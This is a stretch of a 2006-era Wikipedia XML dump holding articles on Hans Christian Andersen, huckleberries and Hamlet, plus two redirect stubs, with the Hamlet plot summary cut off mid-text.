* (The English translations of volumes 6 to 9 are in preparation.)

[[Category:History of Europe|Hungary]]
[[Category:History of Hungary|*]]

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[[Image:HCAndersen.jpeg|thumb|Hans Christian Andersen.&lt;br&gt;&lt;small&gt;Photographed by Thora Hallager.&lt;br&gt;Source: [http://www.odmus.dk/ Odense Bys Museer]&lt;/small&gt;]]
'''Hans Christian Andersen''', ([[April 2]] [[1805]] - [[August 4]] [[1875]]) was a [[Denmark|Danish]] [[author]] and [[poet]] most famous for his [[fairy tale|fairy tales]]. In Danish his name is pronounced {{IPA|[ˈhænˀs ˈkʰʁæsd̥jæn ˈanɔsn̩]}} or simply {{IPA|[ho̞ se ˈanɔsn̩]}} (the ''d'' is silent).

== Personal life ==
Andersen was born in [[Odense]], [[Denmark]], on Tuesday, [[April 2]] [[1805]]. He was the son of a impoverished sickly 22-year-old shoemaker [http://www.hcandersen-homepage.dk/hcandersen/foedsel-daab/hans.jpg] and an [[alcoholic]] laundress, several years older than her husband. The entire family lived and slept in a single tiny room.

Andersen's father apparently believed that he might be related to nobility, and according to scholars at the [[Father Hans Christian Andersen Center]], his paternal grandmother told him that the family had once been in a higher social class. However, investigation has provided proof that these stories to be unfounded. The family apparently did have some connections to Danish royalty, but these were work-related. Nevertheless, the theory that Andersen was the illegitimate son of royalty persists in Denmark. The writer Rolf Dorset insists that not all options have been explored in determining Andersen's heritage.

Andersen displayed imagination even as a young boy, a trait fostered by the indulgence of his parents and by the superstition of his mother. He made himself a small toy-theatre and sat at home making clothes for his puppets, and reading all the plays that he could lay his hands upon; among them were those of [[Ludvig Holberg]] and [[William Shakespeare]]. Andersen, throughout his childhood, had a passionate love for literature. He was known to memorize entire plays by Shakespeare and to recite them using his wooden dolls as actors.

In 1816, his father died and the young boy had to start earning a living. He worked as an apprentice boy for both a weaver and a tailor, and later worked in a cigarette factory where his fellow workers humiliated him by betting on whether he was in fact a girl, pulling down his trousers to check. At the age of 14, Andersen moved to [[Copenhagen]] seeking employment as an actor on the [[theatre|stage]]. He had a pleasant soprano voice and succeeded in being admitted to the [[Royal Danish Theatre]]. This career stopped short when his voice broke. A colleague at the theatre had referred to him as a poet, and Andersen took this very seriously and began to focus on writing.
[[Image:Hans christian andersen 1869.jpg|thumb|left|200px|Hans Christian Andersen in 1869]]
Following an accidental meeting, King [[Frederick VI of Denmark|Frederick VI]] of Denmark started taking an interest in the odd boy and sent Andersen to the grammar [[school]]    [http://www.hcandersen-homepage.dk/skolegang_slagelse.htm] in [[Slagelse]]. The education was paid for by the King. Before even being admitted to grammar-school, Andersen had already succeeded in publishing his first story, ''[[The Ghost at Palnatoke's Grave]]'' in (1822). Andersen, though a backward and unwilling pupil, studied both in Slagelse and at a school [http://www.hcandersen-homepage.dk/skolegang_helsingoer.htm] in [[Elsinore]] until 1827. He later stated that these years had been the darkest and most bitter parts of his life. He had experienced living in his schoolmaster's own home, being abused in order to &quot;build his character&quot;, and he had been the odd man out among his fellow students, being much older than most of them.

The feeling of &quot;being different&quot;, usually resulting in pain, is a recurrent motif in his work. One of the most telling stories in that respect is the tale of [[The Little Mermaid]], who takes her own life since she cannot be loved by a beautiful prince. It is thought to exemplify his love for the young Edvard Collin, to whom he wrote: ''I languish for you as for a pretty Calabrian wench ... my sentiments for you are those of a woman. The femininity of my nature and our friendship must remain a mystery.'' Collin, who was not erotically attracted to men, wrote in his own memoir: ''I found myself unable to respond to this love, and this caused the author much suffering.'' Likewise, the infatuations of the author for the Danish dancer [[Harald Scharff]] and the young duke of [[Weimar]] did not result in notable partnerships.  In academic circles, it is being controversially discussed whether Andersen was [[homosexual]].  This discussion begain in 1901 with the article &quot;Hans Christian Andersen: Evidence of his Homosexuality&quot; by  Carl Albert Hansen Fahlberg (using the pseudonym Albert Hansenin) in [[Magnus Hirschfeld]]'s publication &quot;Jahrbuch für sexuelle Zwischenstufen.&quot;

In Andersen's early life, his private journal records his refusal to have sexual relations and his unabashed release through [[masturbation]].

In the spring of 1872, Andersen fell out of bed and severely hurt himself. He never quite recovered, but he lived until the [[August 4]] [[1875]], dying [http://www.hcandersen-homepage.dk/doeden-hca.htm] very peacefully in a house called ''Rolighed'' (literally: calmness), near [[Copenhagen]]. His body was interred in the [[Assistens Cemetery|Assistens Kirkegård]] in the [[Nørrebro]] area of [[Copenhagen]].  At the time of his death, he was an internationally reknown and treasured artist.

2005 is the bicentenary of Andersen's birth and his life and work has been celebrated around the world. The interest in Andersen's person, legacy and writing has never been greater. In Denmark, particularly, the nation's most famous son has been feted like no other literary figure. [http://dr.dk/hcandersen The Hans Christian Andersen Bicentenary Website] is an excellent resource.

== Life as an author ==
In 1829, Andersen enjoyed a considerable success with a fantastic story entitled ''[[A Journey on Foot from Holmen's Canal to the East Point of Amager]]'', and during the same season, he published both a farce and a collection of poems. His first success happened at a time when his friends had ultimately given up hope for him, deciding that his early eccentricity and vivacity would never lead to anything good. He had little further progress, however, until 1833, when he received a small travelling grant from the King, making the first of his long [[European]] journeys. At Le Locle, in the Jura, he wrote ''[[Agnete and the Merman]]''; and in October 1834 he arrived in [[Rome]].

Andersen's first novel, ''[[The Improvisatore]]'', was published in the beginning of 1835, and became an instant success. His humble beginnings as a poet had finally come to an end. During the same year, Andersen published the first installment of his immortal ''Fairy Tales'' (Danish: ''Eventyr''). More stories, completing the first volume, were published in 1836 and 1837. The quality of these stories was not immediately recognised and they sold poorly. At the same time, Andersen enjoyed more success with two novels: ''O.T.'' (1836) and ''[[Only a Fiddler]]'' (1837).

In 1851, he published to wide acclaim ''[[In Sweden]]'', a volume of travel [[sketch comedy|sketches]]. A keen traveller, Andersen published several other long travelogues: ''[[Shadow Pictures of a Journey to the Harz, Swiss Saxony, etc. etc. in the Summer of 1831]]'' (1831), ''[[A Poet's Bazaar]]'' (1842), ''[[In Spain]]'' (1863), and ''[[A Visit to Portugal in 1866]]'' (1868). In his travelogues Andersen took heed of some of the contemporary conventions about travel writing, but always developing the genre to suit his own purposes. Each of his travelogues combines documentary and descriptive accounts of the sights he saw with more philosophical excurses on topics such as being an author, immortality, and the nature of fiction in the literary travel report. Some of the travelogues, such as ''[[In Sweden]]'', even contain fairy-tales.

In the 1840s Andersen's attention returned to the stage, however with no great success. His true genius was however proven in the charming [[miscellany]] the ''[[Picture-Book without Pictures]]'' (1840). The fame of his ''Fairy Tales'' had grown steadily; a second series began in 1838 and a third in 1845.

Andersen was now celebrated throughout [[Europe]], although his native [[Denmark]] still showed some resistance to his pretensions. In June 1847, he paid his first visit to [[England]] and enjoyed a triumphal social success. [[Charles Dickens]] invited him to stay at his place for a fortnight, but Andersen stayed for 6 weeks, not understanding Dickens' increasingly blatant hints that Anderson should leave. When he left, Dickens saw him off from [[Ramsgate]] pier. Shortly thereafter Dickens published ''David Copperfield,'' in which the character [[Uriah Heep (fictional character)|Uriah Heep]] is said to have been modelled on Andersen&amp;mdash;a backhanded compliment, to put it mildly. 

Andersen continued to publish many works, although still hoping to excel as both [[novelist]] and [[dramatist]], but was unsuccessful in the attempt. He disdained the enchanting ''Fairy Tales'', the composition of which had proved his unique genius. He did, however, continue to write them, and two more collections appeared in 1847 and 1848. After a long silence, Andersen published a new novel ''[[To be or not to be (novel)|To be or not to be]]'' in 1857. He continued publishing his ''Fairy Tales'' in instalments, until 1872. He published his last stories at [[Christmas]] this year.

In the English-speaking world, the stories of ''[[The Ugly Duckling]],'' ''[[The Emperor's New Clothes]],'' and ''[[The Princess and the Pea]]'' are cultural universals; everyone knows them, though few can name the author. They have become part of our common heritage, and, like the tales of [[Charles Perrault]], are no longer distinguished from actual folk-tales such as those of the [[Brothers Grimm]]. Andersen himself was highly inspired by the [[Arabian Nights]]. A few of his stories such as [http://www.pacificnet.net/~johnr/cgi/aesop1.cgi?hca&amp;a126 &quot;The Wild Swans&quot;] and [http://www.pacificnet.net/~johnr/cgi/aesop1.cgi?hca&amp;a24 The Rose-Elf] are adaptations of older folktales (for example, &quot;The Wild Swans&quot; might be a retelling of [http://www.ucs.mun.ca/~wbarker/fairies/grimm/049.html The Six Swans] as recorded by the Brothers Grimm.)

Andersen is often categorised as an author writing for children. However, he did not like to be stereotyped. The overall character of Andersen's stories is dark, sometimes even cruel, and redemption often comes at a high price. One of his famous stories, [[The Ugly Duckling]], is a story that Anderson explained in his personal correspondence as a story that could be generalized broadly. In particular, he was writing the story as a tribute to those who like himself had (what were regarded at the time as) 'deviant' sexual feelings. There is, therefore, nothing 'innocent' or 'pure' about his stories.  In that vein, Linda de Haan and Stern Nijland claim to have been inspired by H.C. Anderson's story of the Ugly Duckling in their controversial work &quot;[[King and King]]&quot;.

== Fairy tales ==
Some of his most famous fairy tales include:
* [[The Angel]] [http://www.andersen.sdu.dk/vaerk/hersholt/TheAngel_e.html]
* [[The Bell (fairy tale)|The Bell]] [http://www.andersen.sdu.dk/vaerk/hersholt/TheBell_e.html]
* [[The Emperor's New Clothes]] [http://www.andersen.sdu.dk/vaerk/hersholt/TheEmperorsNewClothes_e.html]
* [[The Fir Tree]] [http://www.andersen.sdu.dk/vaerk/hersholt/TheFirTree_e.html]
* [[The Happy Family]] [http://www.andersen.sdu.dk/vaerk/hersholt/TheHappyFamily_e.html]
* [[The Little Match Girl]] [http://www.andersen.sdu.dk/vaerk/hersholt/TheLittleMatchGirl_e.html]
* [[The Little Mermaid]] [http://www.andersen.sdu.dk/vaerk/hersholt/TheLittleMermaid_e.html]
* [[Little Tuk]] [http://www.andersen.sdu.dk/vaerk/hersholt/LittleTuck_e.html]
* [[The Nightingale]] [http://www.andersen.sdu.dk/vaerk/hersholt/TheNightingale_e.html]
* [[The Old House]] [http://www.andersen.sdu.dk/vaerk/hersholt/TheOldHouse_e.html]
* [[Ole Lukoie]] [http://www.andersen.sdu.dk/vaerk/hersholt/OleLukoie_e.html]
* [[The Princess and the Pea]] (also known as ''The Real Princess'') [http://www.andersen.sdu.dk/vaerk/hersholt/ThePrincessOnThePea_e.html]
* [[The Red Shoes (fairy tale)|The Red Shoes]] [http://www.andersen.sdu.dk/vaerk/hersholt/TheRedShoes_e.html]
* [[The Shadow (fairy tale)|The Shadow]] [http://www.andersen.sdu.dk/vaerk/hersholt/TheShadow_e.html]
* [[The Snow Queen]] [http://www.andersen.sdu.dk/vaerk/hersholt/TheSnowQueen_e.html]
* [[The Steadfast Tin Soldier]] [http://www.andersen.sdu.dk/vaerk/hersholt/TheSteadfastTinSoldier_e.html]
* [[The Story of a Mother]] [http://www.andersen.sdu.dk/vaerk/hersholt/TheStoryOfAMother_e.html]
* [[The Swineherd]] [http://www.andersen.sdu.dk/vaerk/hersholt/TheSwineherd_e.html]
* [[Thumbelina]] [http://www.andersen.sdu.dk/vaerk/hersholt/Thumbelina_e.html]
* [[The Ugly Duckling]] [http://www.andersen.sdu.dk/vaerk/hersholt/TheUglyDuckling_e.html]
* [[The Wild Swans]] [http://www.andersen.sdu.dk/vaerk/hersholt/TheWildSwans_e.html]

== Naming conventions ==
Most English (as well as German and French) sources use the name &quot;Hans Christian Andersen&quot;, but in [[Denmark]] and the rest of [[Scandinavia]] he is usually referred to as merely &quot;H. C. Andersen&quot; (pronounced as ''Ho Say Andersen''). His name ''Hans Christian'' is a traditional Danish name (and is used as a single name, though originally a combination of two individual names. It is incorrect to use only one of the two parts.) It is an accepted custom in Denmark to use only the initials in this and a few other names (other examples include ''H.P.'', short for ''Hans Peter'' and ''J.C.'' short for ''Jens Christian''). This tradition is as strong as the American &quot;middle initial&quot;.

== Miscellaneous trivia ==
H.C. Andersen is also a Finnish band. Its name is a [[pun]]: They play hardcore-[[punk rock|punk]] and hardcore is often abbreviated &quot;HC&quot;.

== Bibliography==
* Jackie Wullschläger ''Hans Christian Andersen. The Life of a Storyteller'',  Penguin, 2000, ISBN 014028320X

== External links ==
{{wikiquote|Hans Christian Andersen}}
{{wikisourcepar|Author:Hans Christian Andersen|Hans Christian Andersen}}
{{commons|Hans Christian Andersen}}
*{{imdb name|id=0026153|name=Hans Cristian Andersen}}
* [http://www.andersen.sdu.dk/index_e.html The Hans Christian Andersen Center] - contains many Andersen's stories in Danish and English
* [http://dr.dk/hcandersen Hans Christian Andersen Bicentenary Website] from [http://dr.dk Danish Broadcasting Corp. (DR)]- Internationally acclaimed and award-winning website that features countless audio fairytales and interactive, multimedia features in Danish and English
* [http://www.hca2005.com/ Official web site] of the Hans Christian Andersen 2005 Bicentenary Festival.
* [http://www.hcandersen-homepage.dk/ Hans Christian Andersen Information] (mainly in Danish) contains information about his life, childhood home, Hans Christian Andersen House and museum, fairy tales and stories, literary activities, drawings, papercuts and picture pages.
* The [http://www.omsd.dk/themes/hc_andersen_uk/uk_hc_andersen_main_frame.htm Orders and Medals Society of Denmark] has descriptions of Hans Christian Andersen's Medals and Decorations.
* [http://www.nytimes.com/2005/04/04/arts/04hans.html And the cobbler's son became a princely author] Details of Andersen's life and the celebrations.
* [http://andersen.com.ua/ Hans Christian Andersen Fairy Tales] in [http://andersen.com.ua/english.html English], [http://andersen.com.ua/russian.html Russian] and [http://andersen.com.ua/ukrainian.html Ukrainian]
* [http://hca.gilead.org.il/ Hans Christian Andersen: Fairytales and Stories] Text of most of Andersen's fairy tales, with an extensive introduction and art based on Andersen's papercuts.
* [http://librivox.org/short-story-collection-002/ Free audio recording] of ''[[The Little Match Girl]]'' from [http://www.librivox.org Librivox]
*{{gutenberg author|id=Hans_Christian_Andersen|name=Hans Christian Andersen}}

[[Category:1805 births|Andersen, Hans Christian]]
[[Category:1875 deaths|Andersen, Hans Christian]]
[[Category:Autodidacts|Andersen, Hans Christian]]
[[Category:Danish poets|Andersen, Hans Christian]]
[[Category:Danish writers|Andersen, Hans Christian]]

[[bg:Ханс Кристиян Андерсен]]
[[ca:Hans Christian Andersen]]
[[cs:Hans Christian Andersen]]
[[da:H.C. Andersen]]
[[de:Hans Christian Andersen]]
[[et:Hans Christian Andersen]]
[[es:Hans Christian Andersen]]
[[eo:Hans Christian ANDERSEN]]
[[fr:Hans Christian Andersen]]
[[fy:Hans Christian Andersen]]
[[gl:Hans Christian Andersen]]
[[ko:한스 크리스티안 안데르센]]
[[id:Hans Christian Andersen]]
[[it:Hans Christian Andersen]]
[[he:הנס כריסטיאן אנדרסן]]
[[lt:Hansas Kristianas Andersenas]]
[[hu:Hans Christian Andersen]]
[[nl:Hans Christian Andersen]]
[[ja:ハンス・クリスチャン・アンデルセン]]
[[no:Hans Christian Andersen]]
[[nn:H.C. Andersen]]
[[pl:Hans Christian Andersen]]
[[pt:Hans Christian Andersen]]
[[ru:Андерсен, Ганс Христиан]]
[[sl:Hans Christian Andersen]]
[[fi:Hans Christian Andersen]]
[[sv:H.C. Andersen]]
[[th:ฮันส์ คริสเตียน แอนเดอร์เซน]]
[[vi:Hans Christian Andersen]]
[[uk:Андерсен Ганс Крістіан]]
[[vo:Hans Christian Andersen]]
[[zh:安徒生]]</text>
    </revision>
  </page>
  <page>
    <title>Huckleberry</title>
    <id>13551</id>
    <revision>
      <id>40608883</id>
      <timestamp>2006-02-21T20:22:54Z</timestamp>
      <contributor>
        <username>BorgHunter</username>
        <id>200762</id>
      </contributor>
      <minor />
      <comment>Wikilinks</comment>
      <text xml:space="preserve">[[Image:Huckleberry.jpg|thumb|right|300px|Wild huckleberry in the [[Mount Hood National Forest]]. The floral remnants, signifying a [[false berry]], are visible on the apex of the fruit.]]

'''Huckleberry''' is a name used in [[North America]] for several [[plant]]s in two closely related genera in the family [[Ericaceae]], ''[[Gaylussacia]]'' and ''[[Vaccinium]]''.

While some ''Vaccinium'' species, such as the '''Red Huckleberry''', are always called huckleberries, other species may be called [[blueberry|blueberries]] or huckleberries depending upon local custom. Similar ''Vaccinium'' species in [[Europe]] are called [[bilberry|bilberries]].

Note that there is much confusion in naming of berries in [[American English]]. Huckleberry is also sometimes used for the unrelated ''[[Solanum]] melanocerasum'' (garden huckleberry), which is a small annual bush producing [[pea]]-sized black fruit. Although the fruit is similar the plant is not otherwise like the huckleberries. This is the huckleberry of [[Mark Twain]]'s book ''[[Adventures of Huckleberry Finn]]''.

The [[fruit]] of the various species of plant called huckleberry are generally edible. The berries are small and round, usually less than 5mm in diameter. Berries range in color according to species from bright red, through dark purple, and into the blues. In taste the berries range from tart to sweet, with a flavor similar to that of a [[blueberry]], especially from in blue/purple colored varieties. Huckleberries are the favorite of many animals such as [[bear]]s.

===Environment===
In the [[Pacific Northwest]] of [[North America]] the huckleberry plant can be found in mid-[[alpine]] regions, often on the lower slopes of mountains. The plant grows best in damp soil, and under optimal condition can be as much as 1.5-2 m high. Huckleberries usually ripen in mid to late summer, later at higher elevations.

== See also ==
* [[Huckleberry Finn]]
* [[Huckleberry Hound]]

[[Category:Ericaceae]]
[[Category:fruit]]
{{fruit-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Huntingtons disease</title>
    <id>13552</id>
    <revision>
      <id>15911151</id>
      <timestamp>2002-04-06T04:11:55Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[Huntington's disease]] : What! There are more than one Huntington?</comment>
      <text xml:space="preserve">#redirect [[Huntington's disease]]
 </text>
    </revision>
  </page>
  <page>
    <title>History of Byzantium</title>
    <id>13553</id>
    <revision>
      <id>15911152</id>
      <timestamp>2003-07-02T20:41:45Z</timestamp>
      <contributor>
        <username>Adam Bishop</username>
        <id>13008</id>
      </contributor>
      <minor />
      <comment>Reverted to redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Byzantine Empire]]</text>
    </revision>
  </page>
  <page>
    <title>Hamlet</title>
    <id>13554</id>
    <revision>
      <id>42096622</id>
      <timestamp>2006-03-03T20:27:57Z</timestamp>
      <contributor>
        <username>The Singing Badger</username>
        <id>57730</id>
      </contributor>
      <comment>/* Sources */  tidyup</comment>
      <text xml:space="preserve">{{otheruses}}

'''''The Tragedy of Hamlet, Prince of Denmark''''' is a [[tragedy]] by [[William Shakespeare]] and one of his best-known and most oft-quoted plays. It was written at an uncertain date between [[1600]] and the summer of [[1602]]. 

''Hamlet'' may be the most frequently produced work in almost every western country, and it is considered a crucial test for mature [[actor]]s. Hamlet's &quot;[[To be, or not to be]]&quot; [[soliloquy]] (Act Three, Scene One), the most popular passage in the play, is so well known that it has become a stumbling-block for many modern actors.

''Hamlet'' is one of the world's most famous literary works, and has been translated into every major living language.
[[Image:Hamlet play scene cropped.png|thumb|right|450px|A detail of the engraving of [[Daniel Maclise]]'s 1842 painting ''The Play-scene in Hamlet'', portraying the moment when the guilt of Claudius is revealed.]]
==Sources==
Shakespeare's play tells the story of the legendary Danish Prince Hamlet, or Amleth (see: [[Hamlet (legend)|the legendary Hamlet]]) whose exploits were recorded by [[Saxo Grammaticus]] in his ''[[Gesta Danorum]]'' around [[1200]] AD; [[François de Belleforest]] adapted Saxo's story in his ''Histoires Tragiques'' ([[1570]]). 

Shakespeare's main source, however, is believed to be an earlier play about Hamlet (known as the ''[[Ur-Hamlet]]''),  which is attributed to [[Thomas Kyd]] and is known to have introduced a ghost to the story. The 'Ur-''Hamlet''' was never printed, and is now lost. However, it was praised in print in [[Thomas Nashe]]'s preface to [[Robert Greene]]'s ''[[Menaphon]]'' as early as [[1589]].  It made the phrase &quot;Hamlet, revenge!&quot; (which does not appear in Shakespeare's play) famous.  While the Ur-''Hamlet'' is usually assumed to have been written by Kyd, it is sometimes suggested that it may have written by Shakespeare himself, and later revised or rewritten into the play as it has been preserved in print.

Shakespeare may also have taken some elements from Kyd's other play, ''[[The Spanish Tragedy]]'', especially the hero's [[procrastination]].

==Texts==
There are three extant texts of ''Hamlet'' from the early [[1600s]]: two quarto editions, and one from the first folio (see [[Folios and Quartos (Shakespeare)|Quarto and Folio]]). 
  
The play first appeared in print in [[1603]] in a version now known as the 'bad Quarto'. This edition follows essentially the same plot as the play we know as ''Hamlet'' but it is much shorter and its language is often very different; for example, where the accepted version reads &quot;To be or not to be, that is the question&quot;, the Bad Quarto reads &quot;To be or not to be, aye there's the point&quot;. These differences, which usually seem aesthetically weaker than the other versions, have led to the suggestion that the text may have been published without the permission of the playing company, and put together by [[shorthand|stenography]] or by minor actors recalling the lines of others by memory. In particular, the finger has been pointed at the character Marcellus as the likely culprit for the source of the &quot;Bad Quarto&quot; because his scenes and lines are rendered most &quot;accurately&quot; compared to other Quartos and when he is absent from stage the text diverges more. Most modern textual scholars find this theory fanciful, since a minor actor would be unlikely to have memorised the lines of other actors, even inaccurately -- but actors and other theatrical professionals (who often have large portions of plays they work on memorized without even attempting to) would likely dispute this point.

The authorized 'Second Quarto' (Q2) was published in [[1604]], and was described on its title page as &quot;enlarged to almost as much again as it was&quot;. This is the longest text of ''Hamlet'' to be published in the period.

The third edition was the version published in the [[First Folio]] of Shakespeare's complete works. This text is shorter but also contains scenes not in Q2.

Modern editions are a compromise between the Second Quarto text and the Folio text. Some conflate the two to produce one very long text. Others assume that the Folio text represents Shakespeare's final intentions and that the cuts were made by him; they therefore present the cut Q2 passages in an appendix.

In the theatre, performing the full, conflated Q2/Folio text takes around 4 hours. Because of this, most productions use a cut text. For example, the [[Royal Shakespeare Company]]'s Artistic Director [[Michael Boyd]] staged Hamlet in the summer of [[2004]] using lines from various Quartos; his text was dubbed the &quot;Boyd Quarto&quot; by newspaper reviewers.

Some theatre companies have experimented with performing the Bad Quarto, which takes only 2 hours. They claim that while it reads badly on the page, in performance it is faster-paced and more direct than the 'official' versions.

==Main characters==
{{spoilers}}
'''[[Hamlet#Hamlet as a character|Prince Hamlet]]''', the title character, is the son of the late [[King Hamlet|King of Denmark]], who was also named Hamlet. He is a student at a school in [[Wittenberg]]. He is charged by the ghost of his father to avenge his murder, which he finally succeeds in doing, but only after the rest of the royal house has been wiped out and he himself has been mortally wounded with a poisoned [[rapier]] by Laertes at the end of the play.

'''[[King Claudius|Claudius]]''' is the current King of Denmark, Hamlet's uncle, who succeeded to the throne upon the death of his brother. The ghost of King Hamlet tells Prince Hamlet that he was murdered by brother Claudius, who poured [[hebenon]] in his ear while he was asleep. Claudius is killed with a poisoned rapier by Hamlet who also forces him to drink the wine which Claudius actually had intended to poison Hamlet with at the end of the play.

'''[[King Hamlet]]''' (referred to in the stage directions as '''Ghost''') was Hamlet's father. At the start of the play, it has not been long since his death. He appears to Hamlet as a [[ghost]] and urges him to avenge him and tells him he himself, King Hamlet was killed by Claudius with a poison emptied into one of his ears by Claudius. Hamlet questions the his contention that the spirit really is the ghost of King Hamlet or whether it is a malicious demon in disguise. He cannot find a definitive answer.

'''[[Gertrude (Hamlet)|Gertrude]]''' is Hamlet's mother. Widowed because of King Hamlet's death, she has quickly been remarried to Claudius, the late king's brother, a relationship considered [[incest]]uous by Hamlet and in Shakespeare's time (although religious authorities could and did grant dispensations for such marriages). She dies by accidentally drinking poisoned wine intended for Hamlet at the end of the play.

'''[[Polonius]]''' is Claudius's chief councillor, who is distrustful of Hamlet's relationship with Ophelia, his own daughter, because she is a social inferior to him. He fears Hamlet will only take her virginity and won't marry her, a situation which would compromise his status at court. So he forbids her from having a relationship with him. Daughters in those days had to obey their fathers no matter what the demand. He is a fatuous bore, and Hamlet frequently teases him while pretending to be mentally unbalanced. He is fatally stabbed by Hamlet, who mistakes him for Claudius, when he hides himself behind an arras while trying to eavesdrop on a conversation between Hamlet and his mother.

'''[[Laertes (character)|Laertes]]''' is Polonius's son, who deeply cares for Ophelia, his sister, and spends much of the play in France.  In the end, appalled by Hamlet's role in his sister's death, he works with Claudius to rig a dueling contest.  In this contest, he kills Hamlet with a poisoned [[rapier]] to avenge the deaths of Polonius and Ophelia. Hamlet kills him with the same rapier, although at the time Hamlet did not realise it was poisoned.  

'''[[Ophelia (character)|Ophelia]]''' is Polonius's daughter. She and Hamlet have had romantic feelings for each other, although they (at least implicitly) have been warned that it would be politically inexpedient for them to marry. Jilted by Hamlet as part of his insanity ruse, her father's death causes her to go insane, and she drowns in a brook.

'''[[Horatio (character)|Horatio]]''' is a friend of Hamlet's from university. Apparently a commoner, or in any event not a close relative of the royal family, he is not directly involved in the intrigue at the Danish court, which enables the author to use him as a foil or sounding board for Hamlet. Hamlet commissions him to name Fortinbras King of Denmark after the deaths of the royal household. He is the most important character alive at the end of the play, as his move to commit [[suicide]] is stopped by Hamlet before he dies so that he can tell Hamlet's story and that of the court to posterity after his death. 

'''[[Rosencrantz]]''' and '''[[Guildenstern]]''' are old school-fellows of Hamlet, who were summoned to the castle by Claudius to keep a watch on Hamlet. Hamlet soon suspects that they are spies.  They die off-stage in England, executed by the King's warrant for Hamlet's death which was altered by Hamlet to name them.

'''[[Fortinbras]]''' is the Norwegian crown prince. He is the son of King Fortinbras, who was killed in battle by Hamlet's father, and thus has vengeance on his mind.

'''Osric''' is a courtier who referees the sword fight between Hamlet and Laertes, in which both are mortally wounded by a poisoned Rapier.

==Plot summary==
{{spoiler}}
The play is about the revenge of Prince Hamlet, whose father, the late King of [[Denmark]], victor over the sled-riding Polish army, died suddenly while Hamlet was away from home at [[Wittenberg]] [[University]]. Prior to the opening of the play, the King's brother Claudius had himself proclaimed king, and cemented his claim to the throne by marrying Hamlet's mother Gertrude, the widowed Queen.

The play opens on the battlements of [[Elsinore]] Castle, seat of the Danish monarchy, where a group of sentries is terrified by the sight of the ghost of the recently deceased King Hamlet. Hamlet's friend Horatio joins the soldiers on their watch and when the ghost appears, bids it to speak.  They are aware it has some message to deliver, but it vanishes without saying anything to them.

The next day, the Danish court meets to celebrate the wedding of Claudius and Gertrude.  The new King urges Hamlet not to persist in his grief. When he is alone again, Hamlet expresses his anger at the accession of his uncle Claudius to the throne and his mother's hasty remarriage. Horatio and the guards come to the scene and tell him of the appearance of the ghost of his father. Hamlet is determined to investigate this.

Joining Horatio on the watch on the battlements that night, just when Hamlet is delivering a speech censuring the Danes for their drunkenness on certain occasions, the ghost appears again. It beckons him to come along with him so they can enjoy a bit of privacy and reveals to him a fearful secret: his father was indeed murdered. He was poisoned through the ear by Claudius, and the Ghost commands Hamlet to avenge him. Shocked by this discovery, Hamlet returns to Horatio and the sentries, and made them swear an oath not to reveal details of the night's events to anyone.

Hamlet is unsure whether the ghost he has seen is really his father, and suspects that it might be [[the Devil]] taking his father's appearance in order to take his soul to [[hell]]. He therefore sets out to test the king's conscience through putting on an &quot;antic disposition&quot; (acting insane), in the hope that his behavior might tell the truth, or otherwise acquire the opportunity to put an end to Claudius. 

Hamlet now feigns insanity to be able to convict Claudius of murder and treason, and takes special delight in making a fool of Polonius, the king's chief councilor. Polonius, convinced of Hamlet's act, is certain that Hamlet's madness stems from his unrequited love for his daughter Ophelia. He forbade his daughter any kind of relationship with Hamlet. So he now fears for his status at court and offers his services to the King in this matter in an attempt to redeem himself before the King of any guilt. Namely, he wants to find out the reason of Hamlet's mad behavior for the King by staging a meeting between Hamlet and Ophelia on which Polonius and Claudius will spy upon. Claudius, perhaps suspecting Hamlet's ruse, also asks Hamlet's schoolmates Rosencrantz and Guildenstern to monitor him, but Hamlet does not let his guard down and sees the intention behind his schoolmates' sudden visit. He enlists a company of traveling performers to stage an existing play which he has modified to re-enact the circumstances of his father's murder.

:&quot;The play's the thing
:Wherein I'll catch the conscience of the King.&quot;
:      [Act II, scene II]

Shortly after the play begins, Claudius cannot bear to watch, rises and asks for lights. The king's anguished reaction to the performance (which Horatio also notices) convinces Hamlet of his guilt. Shortly afterwards, Claudius arranges for Hamlet to be deported to the Danish territories of [[England]] along with Rosencratz and Guildenstern, where he is to be killed upon arrival. Alone, Claudius privately expresses his disgust at what he has done, and offers a prayer of repentance. Hamlet discovers Claudius at prayer and prepares to kill him, but then stops, reasoning that he does not want his revenge to have the result of sending the repentant Claudius to [[Heaven]]. Ironically, after Hamlet slips away, Claudius concludes that he is unable to repent in his current state of mind; thus, if Hamlet had not attempted to arrogate to himself the destiny of Claudius's soul, rather than just his life, he would have gotten the ultimate justice he sought. By trying to go beyond the ghost's orders, he has doomed his efforts to failure. 

Hamlet confronts his mother about the murder of his father and her sexual relations with her new husband, and during their conversation, he stabs Polonius, who has been hiding behind a tapestry eavesdropping on their conversation, thinking it may have been Claudius. Unrepentant of his crime, he continues to admonish his mother. King Hamlet's ghost makes a reappearance to rebuke Hamlet. Hamlet's mother cannot see the ghost, and sees him conversing with it, she is convinced that her son has really gone mad.  

Claudius, who has figured out Hamlet's real motivation, sends Hamlet to England, supposedly for his safety, but accompanied by a sealed letter to the English ordering his death. Rosencrantz and Guildenstern are sent along to ensure the orders are carried out. On the way to England, Hamlet's ship is attacked by pirates, who take Hamlet prisoner but then return him to Denmark.

Meanwhile, Ophelia loses her sanity, being gravely disturbed by Hamlet's rejection and the death of Polonius. She sings a number of rustic melodies that Shakespeare may have pilfered from the English folk tradition.  In what may have been a [[suicide]] attempt, she falls into a brook and drowns.  Laertes, her brother, returns from overseas, and is hungry to avenge his father's and sister's death.

Hamlet, returning from his voyage, meets Horatio at a graveyard outside [[Elsinore]] castle just as Ophelia's funeral cortege arrives there, where a gravedigger (jester/clown) is digging.  Hamlet finds the skull of [[Yorick]] (see [[skull_(symbolism)|skull as a symbol]]), an old jester to the court who has carried him on his back during his childhood days, and proclaims, &quot;Here hung those lips that I have kissed I know not how oft.&quot; As Hamlet broods on mortality, the cortege arrives with the King, Queen and Laertes. Hamlet is so distraught to learn of Ophelia's death that he leaps into the open grave and grapples with Laertes.

When Laertes and Claudius learn of Hamlet's return to Denmark, they scheme to kill Hamlet with the intention of making the death look like an accident. To this end, Claudius instructs Laertes to challenge Hamlet to a fencing match. In order to encourage Hamlet to accept, Claudius lays stakes on the match which are very disfavorable to himself. Unknownst to Hamlet, Laertes will be fighting with a sharpened and poisoned foil, instead of the customary bated blade. In addition, Claudius prepares some poisoned wine for Hamlet to drink as a toast, just in case Laertes is unable to hit him.

